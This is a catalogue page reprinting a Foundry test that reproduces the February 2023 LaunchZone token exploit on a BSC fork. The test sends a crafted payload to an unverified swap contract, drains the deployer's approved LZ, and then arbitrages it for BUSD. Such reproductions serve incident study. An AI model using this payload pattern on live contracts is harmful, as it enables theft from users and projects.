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src/test/2023-02/LaunchZone_exp.sol

Public reproduction file for dataset entry - LaunchZone.

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src/test/2023-02/LaunchZone_exp.sol145 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import "forge-std/Test.sol";
5
6// analysis
7// https://blog.verichains.io/p/analyzing-the-lz-token-hack
8// https://twitter.com/immunefi/status/1630210901360951296
9// https://bscscan.com/tx/0xaee8ef10ac816834cd7026ec34f35bdde568191fe2fa67724fcf2739e48c3cae exploit tx
11// reponse
12// https://twitter.com/launchzoneann/status/1631538253424918528
14// contracts to study
15// https://bscscan.com/address/0x0ccee62efec983f3ec4bad3247153009fb483551 proxy for implementation (verified)
16// https://bscscan.com/address/0x6D8981847Eb3cc2234179d0F0e72F6b6b2421a01 implementation (unverified)
17// https://bscscan.com/address/0x1c2b102f22c08694eee5b1f45e7973b6eaca3e92 attacker contract
19interface UniRouterLike {
20 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
22 function swapExactTokensForTokens(
23 uint256 amountIn,
24 uint256 amountOutMin,
25 address[] calldata path,
26 address to,
27 uint256 deadline
28 ) external returns (uint256[] memory amounts);
30 function getAmountsOut(
31 uint256 amountIn,
32 address[] calldata path
33 ) external view returns (uint256[] memory amounts);
36interface ERC20Like {
37 function transfer(address to, uint256 amount) external returns (bool);
39 function balanceOf(
40 address account
41 ) external view returns (uint256);
43 function approve(address spender, uint256 amount) external returns (bool);
45 function transferFrom(address from, address to, uint256 amount) external returns (bool);
47 function allowance(address owner, address spender) external view returns (uint256);
50contract LaunchZoneExploit is Test {
51 ERC20Like LZ;
52 ERC20Like BUSD;
53 ERC20Like BISWAPPair;
54 UniRouterLike BISWAPRouter;
55 UniRouterLike pancackeRouter;
57 address immutable BscexDeployer = 0xdad254728A37D1E80C21AFae688C64d0383cc307;
58 address immutable attacker = 0x1C2B102f22c08694EEe5B1f45E7973b6EACA3e92;
60 address immutable swapXImp = 0x6D8981847Eb3cc2234179d0F0e72F6b6b2421a01; // unverified
62 function setUp() public {
63 // select and fork bsc at 26024420
64 vm.createSelectFork("bsc", 26_024_420 - 1); // previous block so still there is fund
65 LZ = ERC20Like(0x3B78458981eB7260d1f781cb8be2CaAC7027DbE2);
66 BUSD = ERC20Like(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
67 BISWAPPair = ERC20Like(0xDb821BB482cfDae5D3B1A48EeaD8d2F74678D593);
68 BISWAPRouter = UniRouterLike(0x3a6d8cA21D1CF76F653A67577FA0D27453350dD8);
69 pancackeRouter = UniRouterLike(0x10ED43C718714eb63d5aA57B78B54704E256024E);
71 vm.label(BscexDeployer, "BscexDeployer");
73 vm.label(address(LZ), "LZ");
74 vm.label(address(BUSD), "BUSD");
75 vm.label(address(BISWAPPair), "BISWAP");
76 vm.label(address(BISWAPRouter), "BISWAP Router");
77 vm.label(attacker, "attacker");
78 vm.label(address(this), "thisContract");
79 }
81 function testExploit() public {
82 console.log("Running on BSC at : ", block.number);
84 console.log("BscexDeployer LZ Balalnce", LZ.balanceOf(BscexDeployer));
85 console.log("LZ allowance to swapXImp", LZ.allowance(BscexDeployer, swapXImp) / 1e18);
87 // lazy payload check the previous swapX PoC
88 // swapX.call(abi.encodeWithSelector(0x4f1f05bc, swapPath, transferAmount, value, array, victims[i]));
89 // calling unverified contract of swapXImp with payload containing swap
90 // (bool success, bytes memory returndata) = swapXImpl.call{value: msg.value}(data);
92 bytes memory payload =
93 hex"4f1f05bc00000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000082da53fc059357f82f9b400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000dad254728a37d1e80c21afae688c64d0383cc30700000000000000000000000000000000000000000000000000000000000000020000000000000000000000003b78458981eb7260d1f781cb8be2caac7027dbe2000000000000000000000000e9e7cea3dedca5984780bafc599bd69add087d5600000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
94 (bool success,) = address(swapXImp).call(payload);
95 console.log("Payload delivered", success);
97 console.log("BscexDeployer BUSD Balalnce", BUSD.balanceOf(BscexDeployer) / 1e18);
99 // give attacker 50 BUSD
100 deal(address(BUSD), address(this), 50 * 1e18);
102 // get BUSD from attacker
103 console.log("attacker BUSD Balalnce", BUSD.balanceOf(address(this)) / 1e18);
105 // approve router for 50 BUSD
106 BUSD.approve(address(BISWAPRouter), 50 * 1e18);
108 //get amount out for BUSD to LZ
109 // define path
110 address[] memory path = new address[](2);
111 path[0] = address(BUSD);
112 path[1] = address(LZ);
114 uint256[] memory amounts = BISWAPRouter.getAmountsOut(50 * 1e18, path);
115 console.log("amounts BUSD/LZ", amounts[0] / 1e18, amounts[1] / 1e18);
117 // do the swap
118 BISWAPRouter.swapExactTokensForTokens(amounts[0], amounts[1], path, address(this), block.timestamp);
120 // at this point attack has 9_886_999 for 50 BUSD
121 console.log("attacker LZ Balalnce", LZ.balanceOf(address(this)) / 1e18);
123 console.log("attacker BUSD Balalnce", BUSD.balanceOf(address(this)) / 1e18);
125 // reverse swap on pancake
126 // building a new path
127 address[] memory path2 = new address[](2);
128 path2[0] = address(LZ);
129 path2[1] = address(BUSD);
131 // get amount out for LZ to BUSD from pancackeRouter
132 uint256[] memory amounts2 = pancackeRouter.getAmountsOut(LZ.balanceOf(address(this)), path2);
134 console.log("amounts LZ/BUSD", amounts2[0] / 1e18, amounts2[1] / 1e18);
136 // attacker gets 88,899 BUSD for 9,886,999 LZ which bought for 50 BUSD
137 // approve pancackeRouter for 9,886,999 LZ
138 LZ.approve(address(pancackeRouter), LZ.balanceOf(address(this)));
140 // do the swap
141 pancackeRouter.swapExactTokensForTokens(amounts2[0], amounts2[1], path2, address(this), block.timestamp);
142 // check current BSUSD balance
143 console.log("attacker BUSD Balalnce", BUSD.balanceOf(address(this)) / 1e18);
144 }

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Public Foundry test for “- LaunchZone” (2023-02-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

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File record

Name
LaunchZone
Path
src/test/2023-02/LaunchZone_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
b9879fb698f330d00e7428532b540935c4afb606
Language
Solidity
Size
146 lines
Date
2023-02-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-02/LaunchZone_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b9879fb698f330d00e7428532b540935c4afb606, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.